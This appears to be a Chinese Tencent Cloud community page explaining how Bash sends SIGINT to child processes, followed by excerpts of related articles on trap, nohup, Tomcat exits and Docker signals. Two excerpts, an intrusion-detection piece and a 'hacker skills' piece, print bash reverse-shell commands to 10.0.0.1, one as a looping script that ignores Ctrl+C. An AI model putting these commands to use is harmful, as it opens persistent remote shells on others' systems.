首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

Bash将SIGINT路由到从Bash脚本启动的文件/进程

Bash将SIGINT(中断信号)路由到从Bash脚本启动的文件/进程是指在Bash脚本中,当用户按下Ctrl+C组合键时,Bash会发送SIGINT信号给当前正在运行的文件或进程,以请求其终止执行。

这种信号路由的机制可以用于优雅地终止正在运行的程序,以及处理一些特定的操作。下面是对该问题的完善和全面的答案:

概念: Bash(Bourne Again SHell)是一种Unix/Linux操作系统中常用的命令行解释器和脚本语言。它提供了一种与操作系统交互的方式,并且可以执行各种命令和脚本。

SIGINT是一个中断信号,通常由用户按下Ctrl+C组合键发送给正在运行的程序。它用于请求程序终止执行。

分类: SIGINT是Unix/Linux操作系统中的一个信号,属于中断信号的一种。

优势: 使用SIGINT信号可以优雅地终止正在运行的程序,而不是强制终止它们。这样可以确保程序在终止前完成必要的清理工作,避免数据丢失或其他问题。

应用场景: SIGINT信号常用于需要手动终止的程序,例如命令行工具、服务进程等。当用户想要停止程序执行时,可以按下Ctrl+C组合键发送SIGINT信号。

推荐的腾讯云相关产品和产品介绍链接地址: 腾讯云提供了丰富的云计算产品和服务,但在这里不提及具体品牌商。你可以访问腾讯云官方网站,了解他们的云计算产品和相关服务,以满足你的需求。

总结: Bash将SIGINT路由到从Bash脚本启动的文件/进程是一种信号处理机制,用于优雅地终止正在运行的程序。SIGINT信号通常由用户按下Ctrl+C组合键发送给程序,以请求其终止执行。这种机制可以应用于各种需要手动终止的程序,例如命令行工具和服务进程等。腾讯云提供了丰富的云计算产品和服务,可以满足各种云计算需求。

页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

Tomcat进程意外退出,元凶居然是他...

作者 | 宏江 出品 | 并发编程网(ifeve.com) 节前某个部门测试环境反馈tomcat会意外退出,我们实际环境排查后发现不是jvm crash,日志里有进程销毁记录,pausedestory...我们推测是ssh窗口在关闭时,对当前交互shell以及正在运行test.sh等子进程发送某个退出Signal,找了一台装有systemtap机器来验证,所用stap脚本涧泉同学那里copy...catalina.sh脚本里并没有使用start-stop-daemon之类方式启动java进程,start参数执行方式简化后脚本相当于: eval '"/pathofjdk/bin/java"'...按照这个线索我们google后了解: shell在非交互模式下对后台进程处理SIGINT信号时设置是IGNORE。...回到tomcat例子,catalina.sh脚本通过start参数启动时候,就是以非交互方式后台启动,java进程也被shell设置了忽略SIGINT信号,因此在ctrl-c结束test.sh进程

4K10
  • Tomcat 进程意外突崩,元凶居然是它...

    点击上方“码农沉思录”,选择“设为星标” 优质文章,及时送达 节前某个部门测试环境反馈tomcat会意外退出,我们实际环境排查后发现不是jvm crash,日志里有进程销毁记录,pausedestory...我们推测是ssh窗口在关闭时,对当前交互shell以及正在运行test.sh等子进程发送某个退出Signal,找了一台装有systemtap机器来验证,所用stap脚本涧泉同学那里copy...catalina.sh脚本里并没有使用start-stop-daemon之类方式启动java进程,start参数执行方式简化后脚本相当于: eval '"/pathofjdk/bin/java"'...按照这个线索我们google后了解: shell在非交互模式下对后台进程处理SIGINT信号时设置是IGNORE。...回到tomcat例子,catalina.sh脚本通过start参数启动时候,就是以非交互方式后台启动,java进程也被shell设置了忽略SIGINT信号,因此在ctrl-c结束test.sh进程

    1.1K10

    《Linux命令行与shell脚本编程大全》第十六章 控制脚本

    16.3 在非控制台下运行脚本 需求:在终端启动脚本,让脚本一直运行结束,即使退出了终端会话。 nohup命令可以做到。它运行了另外一个命令来阻断所有发送给该进程SIGHUP信号。...这样终端退出时脚本也不会退出。 命令格式: $nohup ./test & nohup会自动STDOUT和STDERR消息重定向一个名为nohup.out文件中。...anacron不会处理执行时间需求小于一天脚本 16.6.3 使用新shell启动脚本 如果每次运行脚本时候都能够启动一个新bash shell,将会非常方便。...(这个我理解不来) 补充第六章内容: 用户登录bash shell需要运行启动文件。...$HOME/.bash_profile $HOME/.bash_login $HOME/.profile 每次启动一个新shell时,bash shell都会运行.bashrc文件

    3K61

    java检测tomcat宕机_Tomcat意外宕机分析

    /catalina.sh start tail-f /usr/software/tomcat/apache-tomcat-7.0.81/logs/catalina.out 然后启动脚本,服务起来了,可以正常访问...后来通过google后了解: shell在非交互模式下对后台进程处理SIGINT信号时设置是IGNORE。...不开启作业控制的话,脚本后台进程可以通过设置忽略SIGINT信号来避免父进程对组中成员传播,因为对它来说这个信号已经没有意义。...传递给bash进程后,bash会把SIGHUP传递给它进程,并且对于其子进程test.sh,bash还会对test.sh进程组里成员都传播一遍SIGHUP。...因为java后台进程从父进程catalina.sh(又是其父进程test.sh)继承pgid,所以java进程仍属于test.sh进程组里成员,收到SIGHUP后退出。

    1.4K10

    bash 中冷门但非常有用命令: trap

    这个属于 对键盘输入中断 处理结果;如果纯粹发送 SIGINT 信号,看不到"^C"这个符号: [root@www ~]# bash [root@www ~]# trap 'echo -e "\nCTRL-C...而trap只是对其父进程起作用,而对父进程进程并不起作用,而B进程(sleep)属于A进程进程;所以trap命令无法对sleep命令SIGINT起作用; 而如果把着两条命令放到一个脚本中...,则会起作用,因为当运行脚本时候, 按下ctrl+c触发SIGINT信号被发送到了bash脚本对应进程,而trap作为脚本一条命令,它本身是脚本进程,所以其父进程就是脚本进程;因此trap...从上述介绍trap可以捕获signal范围来讲,trap使用基本都是在 bash服务脚本中: 接受到特定信号时候,用于kill 进程;比如: trap "kill $THIS_PID" SIGTERM..., 这样保证当脚本收到SIGTERM信号时候,可以结束特定服务进程; 用于清理运行中临时文件,比如: 如果用户按下了ctrl+c, 或者shell脚本收到了sigterm信号等,这时候可能有临时文件没有被移除

    5.1K41

    入侵检测之syscall监控

    常见情况是脚本允许正常终止和处理常见键盘中断(例如ctrl + c和ctrl + d),实际上系统发送了SIGINT信号给脚本进程SIGINT信号默认处理方式就是退出程序。...常见情况是脚本允许正常终止和处理常见键盘中断(例如ctrl + c和ctrl + d),实际上系统发送了SIGINT信号给脚本进程SIGINT信号默认处理方式就是退出程序。...其主要原理为标准输入以及标准输出是否指向一个socket或pipe 以最简单bash反弹为例: Linux bash左向右读取这条命令,首先系统会创建bash -i子进程,并分配文件描述符:...当解析 >& /dev/tcp/10.0.0.1/4444 标准输出与标准错误重定向符时,文件描述符指向变更为: 当解析0>&1,标准输入复制标准输出时,文件描述符指向变更为: 文件输入描述符以及文件输出描述符皆需要重定向...socket通道 文件输入描述符以及文件输出描述符皆需要重定向pipe 攻击角度可以总结出,对进程,监控其标准输入以及标准输出是否指向一个socket或pipe,更 加需要关注为具有可执行环境文件

    2.6K10

    在 Docker 容器中捕获信号

    应用程序作为容器中 1 号进程 创建 Dockerfile 文件,把上面的应用打包镜像中: FROM iojs:onbuild COPY ./app.js ./app.js COPY ....,执行命令: $ docker container kill --signal="SIGTERM" my-app 此时应用会以我们期望方式退出: 应用程序不是容器中 1 号进程 创建一个启动应用程序脚本文件...在这个场景中,应用程序由 bash 脚本启动bash 作为容器中 1 号进程收到了 SIGTERM  信号,但是它没有做出任何响应动作。...很显然这不是我们期望,我们希望程序能够收到 SIGTERM  信号优雅退出。 在脚本中捕获信号 创建另外一个启动应用程序脚本文件 app2.sh,内容如下: #!...done 这个脚本文件启动应用程序同时可以捕获发送给它 SIGTERM 和 SIGUSR1 信号,并为它们添加了处理程序。

    2.7K20

    Shell脚本内建命令

    会进行执行cat命令后再进行输出内容 read 命令 描述:read命令键盘读取变量值,通常用在shell脚本中与用户进行交互场合 该命令可以一次读取多个变量值,变量和输入值都需要使用空格隔开...(x,y) tput el #清除行尾 tput ell #清除行首 tput smso #启动突出模式 tput rmso #停止突出模式..."Input from tput/echo at 23/45" ; tput rc) # 信息显示 stdout 中。...原来在shell中总是用数字来代表信号,而在实际开发中为了体现专业性应该使用信号名字; 比如按Ctrl+C会使脚本终止执行,实际上系统发送了SIGINT信号给脚本进程SIGINT信号默认处理方式就是退出程序...信号 值 描述 1 SIGHUP 挂起进程 2 SIGINT 终止进程,通常使用Ctrl+C来触发 3 SIGQUIT 停止进程,通常使用trl+/来触发 6 SIGABRT 中止进程,通常因为某些验证执行错误而引发

    1.7K10

    ​hacker必会技能!

    恶意软件攻击定义为:初始没有文件文件片段被写入磁盘攻击,例如包括代码内存执行攻击、或者利用盗取凭证使用已知工具进行远程登录攻击,需要更广泛更复杂检测技术来可靠地识别和拦截,包括行为检测和人类威胁捕获但是什么是无文件恶意软件.../bin/bash trap ":" SIGINT SIGHUP while True; do bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 sleep...30 Done 这个shell脚本30秒为我们执行一次有效负载,且屏蔽SIGINT信号,那么Ctrl+C也无法杀死!...“SIGINT信息:程序终止(interrupt)信号, 在用户键入INTR字符(通常是Ctrl-C)时发出,用于通知前台进程组终止进程。”...那么你会问这不就是一个shell脚本,一样会写入磁盘啊,一样会被发现

    55020

    如何写出安全、基本功能完善Bash脚本

    几个命令粘在一起,输出从一个传递另一个,然后只启动一些可执行文件Bash是众多方案中最简单一个。...通常,我们脚本在相对于脚本位置路径上运行,复制文件并执行命令,假设脚本目录也是一个工作目录。是的,只要我们目录执行脚本。...因此,如果脚本同一目录中读取某个文件或执行另一个程序,请按如下方式调用: cat "$script_dir/my_file" 同时,脚本不会更改工作目录位置。...如果脚本其他目录执行,并且用户提供了指向某个文件相对路径,我们仍然可以读取它。...要检查stderr是不是交互式终端时行为,请在脚本中添加类似于上面的一行。然后执行它,stderr重定向stdout并通过管道将其发送到cat。

    55930

    第三十七章 : 奇珍异宝

    在我们 bash 学习旅程中最后一站,我们看一些零星知识点。当然我们在之前章节中已经涵盖了很多方面,但是还有许多 bash 特性我们没有涉及。...这个循环对目录列表每一个条目执行 read 命令。列表本身产生于该脚本最后一行代码。这一行代码把进程替换得到输出重定向这个循环标准输入。...通常这涉及启动一个脚本,依次,启动一个或多个子脚本来执行额外任务,而父脚本继续运行。然而,当一系列脚本以这种方式运行时,要保持父子脚本之间协调工作,会有一些问题。...在这个例子中,我们看到该子脚本是非常简单。真正操作通过父脚本完成。在父脚本中,子脚本启动,并被放置后台运行。子脚本进程 ID 记录在 pid 变量中,这个变量值是 $!...这是因为在管道另一端没有任何对象来接收数据。这种现象被称为管道阻塞。一旦我们绑定一个进程管道另一端,该进程开始管道中读取输入时候,管道阻塞现象就不存在了。

    61210

    Shell 信号发送与捕捉

    Linux支持信号有: 编号 信号名称 缺省动作 描述 1 SIGHUP 终止 终止进程,挂起 2 SIGINT 终止 键盘输入中断命令,一般是CTRL+C 3 SIGQUIT CoreDump 键盘输入退出命令...15 SIGTERM 终止 终止信号,进程会先关闭正在运行任务或打开文件再终止,有时间进程在有运行任务而忽略此信号。...,不能忽略,不能捕获 20 SIGSTP 停止 停止进程,一般是CTRL+Z 21 SIGTTIN 停止 后台进程终端读数据 22 SIGTTOU 停止 后台进程终端写数据 23 SIGURG 可忽略...发送信号一般有两种情况: 一种是内核检测到系统事件,比如键盘输入CTRL+C会发送SIGINT信号。 另一种是通过系统调用kill命令来向一个进程发送信号。...: kill -s SIGTERM pid 或 kill -n 15 pid 或 kill -15 pid 或 kill -TREM pid 3、trap命令 trap命令定义shell脚本在运行时根据接收信号做相应处理

    2.3K30

    日拱一卒,量大管饱,MIT手把手教你配环境

    它们应该在它们独自文件夹下,被版本控制管理,通过脚本将它syblink需要地方。...有时远程文件夹挂载到本地比较方便,sshfs可以远端服务器中一个文件夹挂载到本地,这样你就可以使用本地编辑器进行访问了。...在这个练习当当中,我们将会首先启动一个sleep 60 &进程作为先导进程。一种方法是使用wait命令,试着先启动sleep命令,然后等到结束再执行一个ls命令。...最简单方法是写一个 shell 脚本对每个文件使用 ln -s,也可以使用专用工具:https://dotfiles.github.io/utilities/ 在新虚拟机上测试该安装脚本。...您现有的所有配置文件移动到项目仓库里。 项目发布GitHub。

    1.4K20

    编写可靠 bash 脚本一些技巧

    作者:astarsun,腾讯搜索工程师 写过很多 bash 脚本的人都知道,bash 坑不是一般多。其实 bash 本身并不是一个很严谨语言,但是很多时候也不得不用。...以下总结了一些编写可靠 bash 脚本小 tips。...flock 通过文件方式来保证独占运行,并且还有一个好处是进程退出时,文件锁也会自动释放,不需要额外处理。...意外退出时杀掉所有子进程 我们脚本通常会启动好多子脚本和子进程,当父脚本意外退出时,子进程其实并不会退出,而是继续运行着。如果脚本是周期性运行,有可能发生一些意想不到问题。...把下面的代码加在脚本开头区,实测管用: trap "trap - SIGTERM && kill -- -$$" SIGINT SIGTERM EXIT 不过如果父进程是用 SIGKILL (kill

    1.2K21

    MHA故障failover执行不成功背后大坑

    以上通过ps 抓取出来进程列表显示,进程很长时间内,都没有变化(一直挂起)。细心同学已经观察,前后2次抓取进程列表最大差别是: 所有的进程S状态变成了T状态。...到此问题原因基本清楚了: MHA监视进程是以后台进程启动,failvoer脚本也应该是MHA监视进程进程, 也属于后台进程,后台进程存在写终端(STDOUT)操作,触发SIGTTOUT 导致进入...结合进程列表中pid, trace日志文件中最早出现SIGTTOU日志,找到触发进程是ssh, 根据pid找到进程执行脚本文件aws_change_vip.sh, 检查aws_change_vip.sh...这个要跟masterha_manager进程调用脚本流程说起: 由于MHA是Perl编写,加上有点基础,所以很快就找到相关MHA进程创建相关关键调用关系: masterha_manager 脚本...以下是用shell脚本重现例子: [root@10_174_129_85_nginx ~]# cat g.sh #!/bin/bash .

    56420

    Linux 信号(Signal)

    例如,信号 SIGKILL 缺省操作是 Term,也就是终止进程意思。信号 SIGQUIT 缺省操作是 Core,即终止进程后,通过 Core Dump 当前进程运行状态保存在文件里面。...SIGHUP 运行在终端中,由 bash 启动进程,都是 bash 进程。终端退出结束时会向 bash 每一个子进程发送 SIGHUP 信号。...当用户按下 ctrl-c 时,终端发送 SIGINT 前台进程SIGINT 缺省行为是终止进程(Term),但它可以被捕获或忽略。...信号 SIGINT 目的是为进程提供一种有序、优雅关闭机制。 当用户按下 ctrl-\ 时,终端发送 SIGQUIT 前台进程。...会话是用户登录系统退出所有活动,登录到结束前创建所有进程都属于这次会话。会话有一个前台进程组,还可以有一个或多个后台进程组。只有前台进程可以终端接收输入,也只有前台进程才被允许向终端输出。

    1.1K10
    领券